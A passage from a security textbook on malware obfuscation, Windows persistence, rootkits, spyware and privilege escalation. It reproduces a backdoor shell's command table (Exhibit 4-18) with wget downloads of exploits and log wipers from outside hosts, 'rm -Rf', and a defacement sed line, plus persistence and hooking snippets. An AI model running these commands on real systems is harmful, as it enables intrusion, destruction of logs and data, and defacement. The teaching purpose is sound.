bytecode increases significantly by virtue of the fact that for each single bytecode read, the interpreter must execute multiple native platform instructions (e.g., x86 instructions).
In addition to changing the architecture of the VM, the VM obfuscator can remove critical program flow constructs on which many analysts
rely. For instance, VMProtect does not contain bytecode instructions
to perform jumps, calls, or conditional jumps. These instruction types
allow analysts to identify decision points in a program quickly; their
absence makes the determination of flow control difficult.
While VM obfuscation is highly effective at preventing static
analysis, dynamic analysis is still a viable option. The original program, though converted to new platform architecture and heavily
obfuscated, executes in the same manner that the program’s authors
devised. Malicious code analysts have begun to develop new techniques
to provide some insight into the inner workings of malicious code
that protects itself with VM obfuscation. One technique, developed
at iDefense, uses system application programming interface (API)
hooks to determine the interactions between the original program
and the victim’s operating system. 21 By monitoring the requests sent
from the VM-obfuscated program to the operating system, including
the parameters of the requests, analysts can make inferences about the
underlying program despite the hindrances of the VM obfuscation.
VM obfuscation is by far one of the most advanced obfuscation
systems available to malicious code authors today. The obfuscation
technique prevents static analysis of malicious code by changing the
very platform on which the code executes. Dynamic analysis may
reveal some details of the inner workings of the program, but without
a static analysis tool, the obfuscated binary may hold unseen functionality that may trigger unexpectedly. With the availability of VM
Ma li c i o us C o d e BIOS/CMOS
Master Boot
Record (MBR)
Hypervisor
(Blue Pill)
Legacy Text Files
(autoexec.*,*.ini)
213
Autostart
Registery Entries
Start Menu
“Startup” Folder
Exhibit 4-11â•… Potential autostart techniques in a boot order timeline.
obfuscation systems for malicious code authors, malicious code analysts are scrambling to find new techniques to combat this very real,
very dangerous threat.
4.2.3â•‡ Persistent Software Techniques
This section explains the many ways that malicious programs use legitimate (and sometimes undocumented) features of Windows to ensure
they execute each time Windows starts up. The article discusses each
stage of the boot process and how malicious code has, or could, run at
that phase. Regular audits of common autostart locations are the best
way to identify unauthorized startup attempts.
Infecting a system with malicious code is the first goal of many
malicious code authors, but once attackers compromise the system,
they must also make sure it stays that way. A Trojan or virus would
not be very effective if rebooting was all a user had to do to disable it.
Many legitimate applications such as antivirus, firewalls, and drivers
need the system to start each of them during certain phases of the
system boot process for this reason: Windows provides many ways
for developers to specify when an executable should be started on
boot. This section explains the many ways that malicious programs
use these techniques and sometimes even use undocumented features of Windows to ensure they keep running each time Windows
starts up.
At each stage of the boot process, there are places for malicious
code to make changes that will cause it to run after a reboot. Exhibit
4-11 shows a timeline of the Windows boot process and techniques
that malicious code can use to ensure it starts up with the system.
4.2.3.1â•‡ Basic Input–Output System (BIOS)/Complementary Metal-Oxide
Semiconductor (CMOS) and Master Boot Record (MBR) Malicious Codeâ•… A
computer’s basic input–output system (BIOS) is executed at the very
beginning of system boot, and in many modern computers, the BIOS
is stored in a programmable flash memory chip on the motherboard.
Some viruses and Trojans modify this flash memory to ensure that
the BIOS starts up the malicious code or hides its existence. Similarly,
some malicious code modifies the master boot record (MBR), which
is read shortly after the BIOS loads and before the operating system
boots. One such example is the Torpig MBR rootkit, documented by
iDefense in February 2008, which targeted many different banks and
was very widely distributed in Web exploit kits. These techniques are
effective if done correctly, but can often cause catastrophic errors if
programmed incorrectly. With the wide availability of much simpler
autostart techniques, few malicious code authors use such sophisticated techniques.
4.2.3.2â•‡ Hypervisorsâ•… A traditional hypervisor is simply a program that
loads before the operating system and virtualizes hardware calls, such
as is done by VMware. Recently, both AMD and Intel have added
support within their processors for such software, vastly increasing
their performance but introducing a potential means by which malicious code could not only ensure that it is started when the system
boots, but also generate proxy system calls in such a way as to hide its
own existence. This trick, originally introduced by researcher Joanna
Rutkowska in June 2006, involves a piece of malicious code that
installs itself as a hypervisor for the entire operating system on the
fly, without a reboot.22 Not only is the malicious code invisible to the
operating system, but it can also hide anything else that the author
desires since it proxies all hardware access. Hypervisors allow malicious code to continue running after a “soft” reboot, during which
power is not cut to the system, but not after “hard” reboots or a full
shutdown of the system. The hypervisor technique is potentially very
powerful but so far is almost purely theoretical. It is very difficult
to implement correctly, and no malicious code other than proofs-ofconcept has attempted this technique in the more than two years that
security researchers have been aware of it.
4.2.3.3â•‡ Legacy Text Filesâ•… Microsoft designed Windows for compati-
bility; therefore, many techniques from legacy operating systems (e.g.,
DOS) continue to operate correctly in Windows XP or Vista. Older
versions of the operating system relied on simple configuration and
script files to run executables on startup, such as autoexec.bat, system.
Exhibit 4-12â•… An example of a System.ini file on Windows XP.
ini, win.ini, and others. Exhibit 4-12 displays an example system.ini
file that allows the system to load various drivers and dynamic link
library (DLL) files.
For malicious code to instruct win.ini or system.ini to run it on
startup, the code simply adds a few lines to either file. For example, a
malicious program could add the following text to win.ini to execute
malware.exe every time the system starts:
[windows]
Run=malware.exe
Accomplishing the same thing using either system.ini or autoexec.
bat is just as easy, although the format is different for each. While
these tricks are easy to use, relatively few malicious code authors
choose them over more common registry entries. They are not any
easier to implement than the registry entries, are no more effective,
and are arguably easier to detect.
4.2.3.4â•‡ Autostart Registry Entriesâ•… The location to specify executables
that run at startup in modern Windows operating systems is the
Windows Registry. Malicious programs have many choices for registry keys that effect system startup. The most recognizable and commonly used is the HKLM(HKCU\Software\Microsoft\Windows\
CurrentVersion\Run key. Other keys that have the same or similar
effects include the following:23
• HKLM\Software\Microsoft\Windows NT\CurrentVersion\
Winlogon\Shell
• HKLM\Software\Microsoft\Windows NT\CurrentVersion\
Winlogon\Notify
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
RunOnce
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
RunOnceEx
• H K U S \ S -1-5 -2 0 \ S o f t w a r e\ M i c r o s o f t \W i n d o w s\
CurrentVersion\Run
• H K L M \ S O F T WA R E \ M i c r o s o f t \W i n d o w s N T \
CurrentVersion\TerminalServer\Install\Software\Microsoft\
Windows\CurrentVersion\Run
Windows\CurrentVersion\Runonce
Windows\CurrentVersion\RunonceEx
• HKCR\exefile\shell\open\command
• HKCU\Software\Microsoft\Windows\CurrentVersion\
Explorer\FileExts
• H K C U \ S o f t w a r e \ M i c r o s o f t \ A c t i v e S e t u p \
InstalledComponents\KeyName\StubPath
• H K L M \ S o f t w a r e \ M i c r o s o f t \ A c t i v e S e t u p \
InstalledComponents\KeyName\StubPath
• HKLM\Software\Microsoft\WindowsNT\CurrentVersion\
Winlogon
• HKCU(HK LM)\SOF T WAR E\ Microsoft\Windows\
CurrentVersion\ShellServiceObjectDelayLoad
• H K L M \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s \
CurrentVersion\Explorer\SharedTaskScheduler
• HKLM\SYSTEM\CurrentControlSet\Services
• HKCU\Control Panel\Desktop\SCRNSAVE.EXE
• H K L M \ S Y S T E M \ C u r r e n t C o n t r o l S e t \ C o n t r o l \
SessionManager
• HKCU\Software\Microsoft\CommandProcessor
Many of these registry locations are not designed specifically to allow
programs to start at boot but have a similar effect. One of the more
unusual examples is HKCU\ControlPanel\Desktop\SCRNSAVE.
EXE, which defines the program that Windows launches as the
screensaver.
4.2.3.5â•‡ Start Menu “Startup” Folderâ•… The Windows Start Menu con-
tains a special “Startup” folder. When explorer.exe first runs after a
user has logged on, every program or link in this folder is executed.
The purpose of this is similar to that of the more basic autostart registry entries, but its use predates the existence of those entries, and
some programs still use the “Startup” directory to launch themselves
at logon.
4.2.3.6â•‡ Detecting Autostart Entriesâ•… There are a variety of tools avail-
able to help researchers detect the use of these persistent methods.
None can detect every location, but each is useful in its own way.
GMER 24 is designed to detect and remove rootkits. It searches
the system for hidden objects and system call hooks and many of
the more common autostart locations. Autoruns25 shows which programs are configured to run at system startup. It can save a snapshot
of the current configuration for later comparison, and the authors
offer a command-line version that is useful for scripting. Hijackthis
is a common means of detecting changes that malicious code are
likely to make. 26 Its best feature is its user interface, but other tools
probably provide data that is more useful. Finally, msconfig is a utility that Windows includes and allows easy configuration of several
common startup locations. Exhibit 4-13 shows the msconfig user
interface that helps detect programs set to start up using the methods
it governs.
Malicious code sometimes sets the attributes of its autostart entries
to “hidden” so that they are more difficult to detect, but security practitioners can turn this against the malicious code. Searching specifically for new, hidden registry entries and files can be an effective
means of detecting many of these entries.
When a malicious code author is looking for the means to ensure
that his or her malicious code persists through a reboot, it is clear
that there are many options available. Not only can the author
choose whichever best suits his or her needs, but also it is not always
even necessary to edit the autostart entries themselves because the
218 Cy ber Se curit y E s senti a l sï»¿
Exhibit 4-13â•… An msconfig user interface.
malicious code need only infect or replace an executable that is already
configured to start automatically. In spite of the wealth of available
methods, the majority of malicious code that requires persistence uses
one or more of the various autostart registry entries available. While
many viruses in the 1990s modified the MBR or infected files as their
means of persistence, modern malicious code authors find it easier to
use registry entries or legacy file entries. This shift is usually attributed to the fact that the file system on modern PCs has become so
large and complex that users are less likely to notice a simple file or
registry modification than they would have been several years ago.
In addition, the ubiquity of antivirus applications has made the act
of modifying the MBR or infecting a file much easier to identify as
malicious than simply modifying a commonly used autostart location
such as those found in the registry.
Organizations intent on reducing the impact of persistent malicious code should regularly audit common autostart locations for
suspicious entries, so that entries made by malicious code are easily
distinguished from those that are legitimate. In addition to helping
detect new malicious code, this behavior helps to familiarize security
practitioners with how these locations should look on a normal system
so that they can more easily remove malicious entries after malicious
code is detected, even if it is detected by other means such as antivirus
programs. As with many malicious code prevention techniques, vigilance is important.
4.2.4â•‡ Rootkits
Security firms are reporting that the sophistication and complexity
of malware are growing. Malware authors often use techniques from
existing tools when developing malicious software. This section examines the strategies an attacker uses to conceal the pervasive threat of
rootkit tools and techniques.
A rootkit is a tool that allows actors to retain their administrative
(or root) privileges and to hide their activity. A rootkit achieves stealth
by modifying the way a user program receives information from the
operating system. Rootkits often modify processes or modify the system to falsify and hide information.
The simplest and earliest rootkits replaced system utilities (like ls)
to change their functionalities and hide certain files. More complex
rootkits have similar goals, providing a way for attackers to hide files
or processes with certain attributes. Rootkits fall into either the user
mode or kernel mode categories, depending on the type of hooks they
use and how they influence processes or the system. In the case of
user mode rootkits, they may target only a single process at a time to
hide information. Kernel mode rootkits, on the other hand, target the
entire system and can hide information from all sources that use the
hooked, kernel mode function calls.
4.2.4.1â•‡ User Mode Rootkitsâ•… User mode rootkits are able to hide infor-
mation by targeting a user’s running processes. The rootkit can hook
critical functions of a process by altering the process’s import address
table (IAT) or by injecting a dynamic link library (DLL) or other
code into the memory of a running process. Exhibit 4-14 shows how a
user mode rootkit can hide the result of a user mode function call.
To inject itself between the user program and the function call,
the rootkit may use a variety of different techniques, one of which is
the IAT. The IAT is part of the executable file format that allows a
process to determine how to resolve a function’s name (or a function
ordinal, which has the same purpose) into a memory address where
the code of the function is located. The process saves the function’s
address within the IAT memory structure. A rootkit can hook any
of the imported functions by altering the resolved function addresses.
Doing so will allow the rootkit code to execute every time instead of
2 2 0
Cy ber Se curit y E s sen ti a l sï»¿
User-mode Function Call
Readme.txt
HiddenFile.txt
User-mode Rootkit
Readme.txt
(removed) HiddenFile.txt
Command Prompt List
Directory Contents
Exhibit 4-14â•… A user mode rootkit hides HiddenFile.txt.
the original function. In this way, a rootkit calls the original function
and modifies its results to hide information.
Hooking using the IAT is not ideal because there are other ways
that the program can call the functions that the rootkit will be unable
to intercept. For example, a program can resolve functions by calling
LoadLibrary to load a DLL file and then calling GetProcAddress to
convert a function name into a memory address.
An alternative strategy that is more effective is to have the rootkit modify the memory or files associated with each function call.
One common example of this is the use of a trampoline (inline hook).
In the following code comparison, the rootkit modifies the first five
bytes of the user mode function call (in this case, send).
Address
Instruction
Instruction
before rootkit
after rootkit
send+0mov edi, edi jmp [rootkit function]
send+2push ebp
send+3mov ebp, esp
send+5sub esp, 10
sub esp, 10
send+8push esi
push esi
Originally, the send function starts with instructions (mov, push,
mov) for the function prologue. The rootkit modifies these instructions, replacing them with a jump to the [rootkit function] instead. In
this way, the rootkit can insert itself in a more reliable way and execute
every time the hooked process calls the send function. To preserve the
original functionality, the rootkit should append the commands that
it replaced to the [rootkit function] shown below:
//Begin rootkit function with custom rootkit commands
…
//execute send+0 … send+3
mov edi, edi
push ebp
mov ebp, esp
//return to original function
jmp send+5
This trampoline shows how to execute custom rootkit commands
before executing the send function. Once the rootkit function finishes, it executes send+0 … send+3, then returns to the remaining
unmodified segment starting at send+5.
These user mode rootkit techniques require that the rootkit inject
code or alter memory within the target process. There are different
ways that rootkit code can modify the memory of other processes,
such as using the Windows API calls like VirtualAlloc and then
CreateRemoteThread. A rootkit can also use DLL injection to inject
code within a target process. More information on the DLL injection
technique is available in “iDefense Explains … DLL Injections.”28
Many user mode rootkits do not provide enough stealth for attackers because they inject code at a level that many detection tools can
discover. Detection tools can monitor IAT entries that appear outside the loaded DLL memory space, and they can monitor user mode
function calls looking for signs of code injection. Additionally, scanning the memory at the beginning of certain functions allows detection programs to determine if a rootkit is using a trampoline as a
user mode hooking technique. Instead of modifying the beginning
of a function, attackers may instead modify the logic or flow within a
function. This hooking method, known as a detour, is more difficult to
perform because it is unique for every hooked function and could negatively influence the program’s logic. Instead, many attackers choose
to use kernel mode rootkits.
4.2.4.2â•‡ Kernel Mode Rootkitsâ•… Stealthier rootkits will attempt to load
into the kernel to influence critical memory structures and avoid
detection. Some of the ways that rootkits gain this high level of access
are by injecting code into privileged processes, by registering a kernel
module (device driver), or by modifying the early stages of the boot
2 2 2
User-mode Function Call
User-space
Kernel-space
System Service
Descriptor Table (SSDT)
Kernel Driver or Other
Kernel Code
Kernel-mode Function Call
Exhibit 4-15â•… The system service descriptor table (SSDT) resolves kernel mode functions into
addresses.
process. A kernel mode rootkit may make changes to critical kernel
memory structures to hook and alter certain kernel mode function
calls on the system.
The system service descriptor table (SSDT) is one target in kernel
memory that the rootkit may try to hook. The SSDT serves as an address
lookup table for system API calls like those that begin with “Nt” (like
NtOpenProcess) and other kernel versions of API calls. Exhibit 4-15
shows how the SSDT handles user mode function calls and other code
that may call kernel mode functions through the SSDT.
Modifying entries in the SSDT can similarly allow an attacker to
replace functions with rootkit functionality that hides information.
Unlike user mode hooking techniques, which apply to a single process, hooking the SSDT affects every process on a system that uses
the functions.
Rootkits may also target the CPU interrupt descriptor table (IDT).
This involves altering the function addresses whenever the CPU executes INT (short for interrupt) or SYSENTER assembly instructions.
The rootkit can obtain the current address of these calls (using “sidt”
in the case of INT and “rdmsr” in the case of SYSENTER) and then
modify these addresses to use the rootkit’s function instead (using the
address returned by “sidt” in the case of INT and “wrmsr” in the case
of SYSENTER).
The rootkit may also target loaded drivers by altering the I/O (input–
output) request packet (IRP) function call table. IRPs are signals sent to
device drivers that serve as an interface between hardware and software.
The IRPs table for each kernel driver contains handling functions that
accept a device object and IRP information. Calling these functions
from low-level signals is powerful but does not always directly allow a
rootkit to hook and modify certain functions at a higher level.
The SSDT, IDT, and IRP are only a few targets that kernel-level
rootkits may target. To modify these structures, the rootkit must execute within a process with high privileges, such as a kernel driver, and
may need to take measures to modify the memory permissions. Readonly memory permissions protect memory pages that do not need to
change frequently. For more information on the latest techniques that
rootkits are using, visit rootkit.com or refer to “Rootkits: Subverting
the Windows Kernel.”27
To persist upon reboot, a rootkit must add itself to a startup location.
Since antivirus vendors and administrators actively monitor startup
locations, a rootkit may either hide files and registry entries necessary
for startup or use more advanced techniques to hide. The use of rootkits that modify the master boot record (MBR) is one technique now
common in certain malware families. To alter the MBR, malicious
code may open a handle to \Device\PhysicalDrive0 and write to the
first 440 bytes, which is the code area that the system executes immediately upon booting. More information on various startup mechanisms is available in “Persistent Software Techniques.”28
4.2.4.3â•‡ Conclusionâ•… Rootkits hide on a system and try to leave a very
small footprint for administrators to find. They allow an attacker to
remain on the system by hooking system-critical function calls and
other types of requests with the goal of hiding information. Whether
attackers employ user mode or kernel mode rootkits, the capability to hook functionality and alter it has major ramifications for the
integrity of the system. Many anti-rootkit tools that attempt to detect
rootkits use multiple sources to compare and then determine if a
rootkit is hiding information or hooking certain user mode or kernel
mode functions.
4.2.5â•‡ Spyware
Malicious software takes on many different forms, but one form,
known as spyware, can cause a victim great hardship. The term
2 24
spyware describes a class of malware based on the functionality of its
payload. This class differs from other malware classifications, such as
worms and viruses, which classify the malware based on the propagation method. In this article, iDefense explains the distinct characteristics that set spyware apart from other forms of malware.
Spyware is a type of malware that received its name based on its
main intention of monitoring (spying on) a user’s activity without the
user’s consent. The lack of consent often causes confusion when classifying programs as spyware. To qualify as spyware, programs must
lack an End User License Agreement (EULA) or a privacy policy. If
a program has an agreement or policy that is intentionally deceptive,
it also qualifies as spyware.31 Programs that gather information and
have a EULA or privacy policy that specifically states the software’s
information-gathering and user-monitoring activities do not qualify
as spyware. The specific terms in this agreement or policy allow the
user to agree to the terms and gauge the legitimacy of the program
before installation.
An attacker installs spyware onto a system to monitor a user’s
activity without his or her knowledge. The activity monitored varies among different spyware samples, but the overall goal is to steal
information. Information stolen from spyware-infected systems can
include typed keys, form data, e-mail addresses, credentials, certificates, pictures and videos from attached Web cams, audio from an
attached microphone, documents, software licenses, network activity,
and cookies.
Key loggers belong to the spyware category because they monitor a
user’s keystrokes and then send the stolen information to the attacker.
This type of spyware is very common, and it can expose sensitive personal information, such as credit card or Social Security numbers.
Key loggers can also reveal logon credentials to any account that the
user logs onto, regardless of the application or website. A weakness
of key-logging spyware is that it cannot log copied and pasted text.
Another drawback to this type of spyware is that it gathers a lot of
information that is not valuable. This requires the spyware author to
analyze all of the data or filter out the valuable information.
Other spyware samples employ more specific credential-stealing
techniques than key logging. The first technique involves form grabbing, which is the act of stealing information entered into a form
within a Web browser. Websites use forms for a user to enter logon
credentials. Form-grabbing spyware minimizes the amount of information gathered by stealing data only included in these forms. 29 For
example, the prolific Zeus banking Trojan steals a user’s online banking credentials by monitoring his or her Web browser and capturing
usernames and passwords used to log onto banking websites.
Another specific method to steal credentials and sensitive data
from a system includes retrieving stored usernames and passwords
from Windows Protected Storage (WPS). WPS is a location in the
Windows registry that holds auto-complete data and saved passwords
for Internet Explorer, Outlook, and MSN Messenger. Spyware can
access these data and enumerate credentials without gathering large
amounts of useless data. Spyware also steals usernames and passwords
from other Web browsers, e-mail, and Instant Messenger clients that
store credentials locally.
In addition to key logging, form grabbing, and enumerating WPS,
spyware often steals cookies. Cookies are text files on a local system created when a user interacts with a Web server that requires
authentication. The Web browser and Web server generate information about the user’s session to store in the cookie so the user does
not constantly have to reauthenticate. Spyware can steal these cookies
and attempt to use them to access a user’s account. Some Web servers
use cookies in step-up authentication to grant a previously authenticated user initial access to a page. In step-up authentication, the user
must provide further credentials to gain access to other portions of
a previously authenticated page. By combining cookie-stealing and
credential-stealing techniques, such as key logging or form grabbing,
spyware can allow an attacker to gain further access to the compromised account.
Network monitoring also enables spyware to steal information
from a user. Usernames and passwords sent over the network in
cleartext reside within network packets, such as those sent for file
transfer protocol (FTP), simple mail transfer protocol (SMTP), and
HTTP requests, that spyware with network-monitoring capabilities
can steal. Spyware also profiles users by monitoring websites they visit
within the network traffic.
Spyware can also perform e-mail harvesting on infected systems.
E-mail harvesting gathers e-mail addresses from a user’s e-mail address
2 2 6
Cy ber Se curit y E s sen ti a l sï»¿
Step 1
Step 2
Step 3
Install Spyware
???
Profit
Steal Credentials
Steal Personal Information
Steal E-mail Addresses
Monitor Network Activity
Identity Theft
Financial Account Access
Spam
Advertisements
Exhibit 4-16â•… Steps that spyware creators take to make money.
book by scanning files on the system for strings that match an e-mail
format or by monitoring network traffic for e-mail activity. The spyware then sends the gathered e-mail addresses back to the attacker.
Attackers’ motives to use spyware to steal sensitive information
and credentials generally involve identity theft or account access. An
attacker can use sensitive information in identity theft schemes, such
as opening a credit card with the victim’s name. Stolen credentials
can grant the spyware creator access to personal accounts, such as
online-banking or social-networking accounts, or other systems for
further spyware infection. In addition to gaining access to sensitive
information and credentials, targeted attackers use spyware to collect
intelligence and sensitive documents from compromised systems.
Overall, a majority of spyware authors create their applications to
make money. Exhibit 4-16 shows the general steps that an attacker
takes to generate revenue. The steps include the installation of the
attacker’s spyware, followed by the specific actions performed by the
spyware’s payload, and finally the profits received from the stolen
information.
Spyware steals e-mail addresses for future spam campaigns and
is a major contributor of addresses that spammers use in unsolicited
e-mails. After gathering the stolen e-mail addresses, spyware authors
pool the addresses to compile a list of targets. For example, iDefense
recently discovered the Waledac botnet’s spam list, which contained
14 gigabytes of stolen e-mail addresses. Spyware authors can use a list
of targets to send spam e-mail or to sell the addresses to others that
intend to send spam. Other spammers often purchase these stolen
e-mail addresses to generate revenue with their own spamming or
phishing campaigns.
User profiling based on monitored network activity can help the
spyware author present meaningful advertisements that may appeal to
a victim. Appealing advertisements are more likely to catch a victim’s
attention and to increase the probability that a victim will click the
advertisement for more information or purchase. Spyware authors use
pop-ups or advertisements displayed in the browser to generate revenue through click-fraud schemes targeting pay-per-click services30 or
affiliations with online stores that offer a monetary kickback for sales
originating from advertisements.
Spyware is a class of malware that poses a significant threat to system information as it spies on users. The fact that spyware monitors a
user’s activity without his or her consent or knowledge allows the spyware to steal any information the user unknowingly exposes. Spyware
that tracks a victim’s Web activity or harvests e-mail accounts is
annoying but may not cause direct harm to the user. Additionally,
spyware that spies on a user’s Web camera or microphone can be an
invasion of personal privacy to the average user. Web cam and microphone-monitoring functionality will pose major threats when used in
targeted attacks to unearth sensitive or classified information. This
generally requires patience, and attackers seeking quick profits tend
to use spyware to steal credentials for sensitive accounts and sensitive
information. These present almost immediate revenue streams and
pose a significant threat to a victim’s finances and credibility.
4.2.6â•‡ Attacks against Privileged User Accounts and Escalation of Privileges
This section delves into the concept of restricting user privileges as it
is a well-known and largely effective best practice to limit the impact
of a vulnerability in the event the particular user is compromised.
Unfortunately, many systems and many applications contain vulnerabilities that provide an attacker with the potential to increase
the rights of the current user. This class of vulnerabilities, known
as privilege escalation, rarely receives much priority by application
developers, even though the impact of successful exploitation extends
beyond the vulnerable application. Although restricting user privileges does not eliminate the threat of malicious code, in many cases
it does limit the damage and provide valuable information during an
incident response.
User access control is a powerful tool to limit what users can do,
including files they can access, network resources, and important
2 28
configuration settings. In the corporate network environment, many
organizations use limited user accounts to prevent damage from malicious code. In this way, administrators prevent attackers from modifying critical system files, writing to directories (such as \WINDOWS\
or \Program Files\), and modifying registry values. Similarly, services
often run with limited user accounts, such as a specific user for a Web
server. Malicious code that runs as a limited user is less dangerous
because it can only access or modify resources to which the infected
user has permission.
Vulnerabilities that increase the privileges of the current user,
known as privilege escalation, are a serious problem for desktops and
servers, and these vulnerabilities affect all operating systems. In this
section, we discuss attacks against Linux servers, Windows servers,
and Windows desktops, attacks that all attempt to gain administrator permissions after compromising a limited account. Such attacks
indicate the importance of limiting exposure within other parts of
the system and using multiple levels of defense, which could prevent
damage when attackers use privilege escalation attacks.
4.2.6.1â•‡ Many Users Already Have Administrator Permissionsâ•… Users
and even programmers frequently use administrator permissions on
Microsoft Windows systems for convenience. Similarly, many malicious code authors do not anticipate executing their malicious programs as limited users; therefore, such programs often fail to function
correctly. Many malicious code authors create files directly in the \
WINDOWS\system32\ directory, load new drivers such as network
sniffers, install browser helper objects (BHOs), or register startup
entries. Administrators can prevent many of these actions by employing limited user accounts.
Automatic malicious code analysis environments such as the iDefense Automatic Rapid Malcode service, Anubis, ThreatExpert,
CWSandbox, and Joebox even run code as administrators because
malicious code commonly requires it. Many administrators do not
need to give administrator permissions to regular users. In giving
them limited permissions, administrators will reduce the risk that
malicious code will affect users.
There are rare cases for running services with administrator permission on servers, but applications should not normally need elevated
permissions to run. Services that require root to function should
whitelist allowed IP addresses to allow access, should use authentication before gaining access (via a virtual private network [VPN]),
and must be highly restricted and evaluated for vulnerabilities if the
services are widely available.
4.2.6.2â•‡ Getting Administrator Permissionsâ•… Anecdotally, it is more com-
mon that application developers will fix other vulnerabilities before they
fix privilege escalation vulnerabilities. There are many reasons for this.
Developers often consider code execution vulnerabilities more serious
than privilege escalation vulnerabilities. Fixes can be more difficult due
to architecture and design choices, making the authentication system
closely integrated with functionality. Developers frequently consider
privilege escalation vulnerabilities less serious because they require a
valid user account or another vulnerability to affect a vulnerable system. However, unpatched privilege escalation vulnerabilities make any
other vulnerability on the system more serious and amplify the danger
because an attacker who successfully compromises a user account can
use the vulnerability to gain full administrator permissions.
Although rare in comparison, there are many notable examples
of malicious code that affects users even when they use limited
accounts. iDefense previously documented Tigger in the Malicious
Code Summary Report for December 24, 2008. 31 The Tigger Trojan
horse gains administrator privileges exploiting MS08-066, a vulnerability in the Windows Ancillary Function Driver, and has the same
impact on administrator accounts as it does for limited users who are
vulnerable to MS08-66. The exploit that these malicious code authors
used is clearly based upon the exploit code that is publicly available
from milw0rm. milw.0rm no longer exists, but Securiteam created a
backup of the file New ource, Microsoft Windows AFD sys Privilege
Escalation (Kartoffel Plugin Exploit, MS08-066).32
Attackers may distribute modified backdoor shells that allow them
to exploit various local escalation vulnerabilities after they exploit a
server. For example, an actor modified the Locus7s Modified c100
Shell backdoor PHP script to include a variety of different ways
to gain administrator or additional permissions (see Exhibit 4-17).
Exhibit 4-18 displays a select option for identifying misconfigured
2 3 0
Exhibit 4-17â•… A logo for a PHP backdoor.
accounts and gaining privileges by using a dropdown menu from the
Locus7s Modified c100 Shell backdoor.
These commands allow the attacker to list users, find set user ID
(suid) binaries in several different locations, find users without passwords, gather information about the system, remove logs of activity, and download, compile, and execute various privilege escalation
attacks. Suid is a permission flag, which allows an executable file to
run as another user when executed. There are several reasons why an
administrator would want to use suid (e.g., he or she wants users to
submit something to which they do not already have access). Suid
files are dangerous and often contain vulnerabilities that allow for the
escalation of privileges.
Attackers also commonly use privilege exploits against servers by
uploading exploits after identifying version numbers. An attacker
may execute the command “uname –a” and then find an exploit that
affects that particular system. As an example, the Internet Storm
Center recently reported that attackers uploaded an exploit for CVE2008-1436, a vulnerability in the Microsoft Distributed Transaction
Coordinator, to several Microsoft Windows 2003/2008 servers after
compromising a Web application and uploading an ASP backdoor. 33
The escalation attack allowed the attacker to install another backdoor
that runs as the system-level user, giving the attacker unrestricted
access to the server. There are many local exploits that attackers use
to gain permission once they are on a system; as an example, an
archive of local root exploits is available at hxxp://www.leetupload.
com/database/Local%20Root%20Exploits/. This example also shows
that attackers often target Windows and Linux and highlights the
importance of patching privilege escalation vulnerabilities quickly
because they allow an attacker who has already compromised a limited user account to gain full access.
4.2.6.3â•‡ Conclusionâ•… Privilege escalation attacks remain relatively rare
in comparison to the amount of malicious code that virus authors
create. While limited user accounts raise the bar for attackers because
Ma li c i o us C o d e COMMAND
2 31
DESCRIPTION
uname -a
Kernel version
w
Logged in users
lastlog
Last to connect
find /bin [removed] -perm -4000 2> /dev/null
Suid bins
cut -d: -f1,2,3 /etc/passwd | grep ::
USER WITHOUT PASSWORD!
find /etc/ -type f -perm -o+w 2> /dev/null
Write in /etc/?
which wget curl w3m lynx
Downloaders?
cat /proc/version /proc/cpuinfo
CPUINFO
netstat -atup | grep IST
Open ports
locate gcc
gcc installed?
rm -Rf
Format box (DANGEROUS)
wget http://www.packetstormsecurity.org/UNIX/
penetration/log-wipers/zap2.c
WIPELOGS PT1 (If wget installed)
gcc zap2.c -o zap2
WIPELOGS PT2
./zap2
WIPELOGS PT3
wget http://ftp.powernet.com.tr/supermail/debug/k3 Kernel attack (Krad.c) PT1
(If wget installed)
./k3 1
Kernel attack (Krad.c) PT2 (L1)
./k3 2
./k3 3
./k3 4
./k3 5
wget http://precision-gaming.com/sudo.c
wget Linux sudo stack overflow
COMMAND
DESCRIPTION
gcc sudo.c -o sudosploit
Compile Linux sudo sploit
./sudosploit
Execute Sudosploit
wget http://twofaced.org/linux2-6-all.c
Linux Kernel 2.6.* rootkit.c
gcc linux2-6-all.c -o linuxkernel
Compile Linux2-6-all.c
./linuxkernel
Run Linux2-6-all.c
wget http://twofaced.org/mig-logcleaner.c
Mig LogCleaner
gcc -DLINUX -WALL mig-logcleaner.c -o migl
Compile Mig LogCleaner
./migl -u root 0
Compile Mig LogCleaner
sed -i -e ‘s/<html>/HACKED BY LOCUS7S/g’ index.* index.* Mass Defacement
Exhibit 4-18â•… Options for identifying misconfigured accounts and gaining privileges.
2 3 2
they do not immediately have system permissions, it is clear that they
will attempt to gain additional privileges regardless of the system they
are attacking. Although enforcing limited user privileges does not
fully mitigate malicious attacks, organizations that follow this best
practice will find it easier to perform incident response. First, they
can audit what the user has access to read or modify, then they can
evaluate whether an attacker attempted to gain privileges and access
or modify files to which the user does not normally have access.
4.2.7â•‡ Token Kidnapping
The Windows operating system uses access tokens to determine
whether a program has permission to perform an operation or interact
with an object. These tokens are a fundamental part of the operating system’s access control safeguards. They provide permissions used
in access control lists to grant or limit access to system components.
Access control lists rely on the legitimacy of the tokens, and unauthorized access or privilege escalation is possible from a compromised
token. A technique to compromise a token, known as token kidnapping, thwarts access control lists, resulting in system compromise.
This section discusses the basics of token kidnapping.
Token kidnapping is a technique to take over and use a token that
is not originally available or assigned to an account. The desired result
of token kidnapping is access to a token that has higher privileges
than the original account. After obtaining a higher privileged token,
the process has more permission to interact with the system than
originally intended. This result allows privilege escalation that malicious attackers seek when presented with limited access to the system.
Exhibit 4-19 shows a high-level diagram of token kidnapping and
should aid the reader in understanding the steps and flow of the process. The diagram shows an attacker connecting to and impersonating
a service to assign the process’ token to the thread. The attacker then
duplicates a privileged account for system exploitation.
Token kidnapping involves impersonation tokens. As mentioned
in Section 1.2.1 on Windows tokens, impersonation tokens identify
threads within a process and have an associated impersonation level.
For example, programs using the Microsoft Distributed Transaction
Coordinator (MSDTC) use a network service token.
1. Connect to Service
2. Impersonate a Service to Assign
the Process’s Token to Thread
3. Duplicate Privileged Token in
Thread
4. Use Privileged Token from Thread
for System Exploitation
Service Process
Privileged Token
3
Process Token
2
Service Thread
1
Impersonation
Token
Local System
4
Attacker
Exhibit 4-19â•… A visual representation of the token-kidnapping process.
The token level of impersonation is very important in token kidnapping, as anonymous and identification-level tokens do not have
sufficient privileges to carry out operations on the process’ behalf.
The impersonation level allows the thread to perform operations with
the permissions of the user running the process. For example, if the
